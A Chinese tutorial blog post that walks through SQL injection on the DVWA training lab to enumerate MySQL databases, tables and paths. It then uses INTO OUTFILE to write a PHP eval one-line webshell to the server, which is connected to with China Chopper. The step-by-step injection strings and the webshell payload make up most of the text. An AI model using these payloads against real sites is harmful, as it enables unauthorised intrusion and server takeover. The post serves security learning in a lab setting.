一步一步学习 Web 安全 2.9 MySQL 获取 websh
2020-05-26 本文已影响0人
f1a94e9a1ea7
实战中情况会复杂很多,这里只做简单的演示和说明以便理解。
原理
mysql 获取 webshell 是利用 MySQL 读写文件的函数将一句话木马存至数据库中,再将这个字段导出为PHP文件至服务器目录下,通过菜刀连接。至于数据库的信息和权限需要分别通过爆库和提权来实现。
这里是利用 MySQL 读写文件的函数将一句话木马写入指定目录下,然后通过菜刀连接。至于数据库的信息和权限需要分别通过爆库和提权来实现。
前提
在执行前需要确认:
- 用户具有 root 权限
- 网站目录(获取方法:报错、phpinfo页面、猜、爆破等)
- GPC 是否关闭(是否对单引号进行转义),如果是打开的,我们输入的单引号『'』在代码运行时都会被加上反斜杠『'』
- secure_file_priv 为打开的状态
- 首先要确认 MySQL 版本,5.5.53 前没有这个值默认可以使用,5.5 后默认为 null,secure_file_priv 的三种状态:
①. secure_file_priv 为 null 表示不允许导入导出文件
②. secure_file_priv 指定文件夹时,表示 mysql 的导入导出只能发生在指定的文件夹
③. secure_file_priv 没有设置时,比如:secure_file_priv='',则表示没有任何限制 - 查看 secure_file_priv 的值:
show global variables like '%secure%';
- 手动修改(当然,在实战中需要数据库已经开启secure_file_priv),在 mysql.ini 文件添加:
secure_file_priv = ''
然后重启数据库
- 首先要确认 MySQL 版本,5.5.53 前没有这个值默认可以使用,5.5 后默认为 null,secure_file_priv 的三种状态:
练习
打开 dvwa,low 级别,SQL injection 页面。如果还未安装,可以参考 dvwa 的安装。
- 注入判断
输入:1
,返回了 first name 和 surname
输入:'
,报错
说明这里为注入点 - 查看对应数据
输入:' or '' = '
,返回了所有的 first name 和 surname,同时可以猜测字段数为 2 - 获取列数判断显位
输入:1' order by 3 #
,报错
输入:1' order by 2 #
,返回数据,可见字段数的确为 2
输入:1' union select 1,2 #
,1 和 2 按顺序输出了 - 获取库名和版本
输入:-1' union select database(), version() #
- 用户名
输入:-1' union select 1,user() #
- 所有数据库
输入:-1' union select 1,schema_name from information_schema.schemata #
- 当前数据库的所有表
输入:-1' union select 1,table_name from information_schema.tables where table_schema=database() #
- users 表的所有字段
输入:-1' union select 1,column_name from information_schema.columns where table_name = 'users' #
- 数据库路径
输入:-1' union select 1,@@datadir#
,返回了当前数据库的目录路径:C:\phpstudy\phpstudy_pro\Extensions\MySQL5.7.26\data - 往这个目录写入一句话木马
输入:-1' into outfile 'C:\\phpstudy\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\muma.php' lines starting by '<?php @eval($_POST[pass])?>' #
- 写入后使用菜刀连接,获取 webshell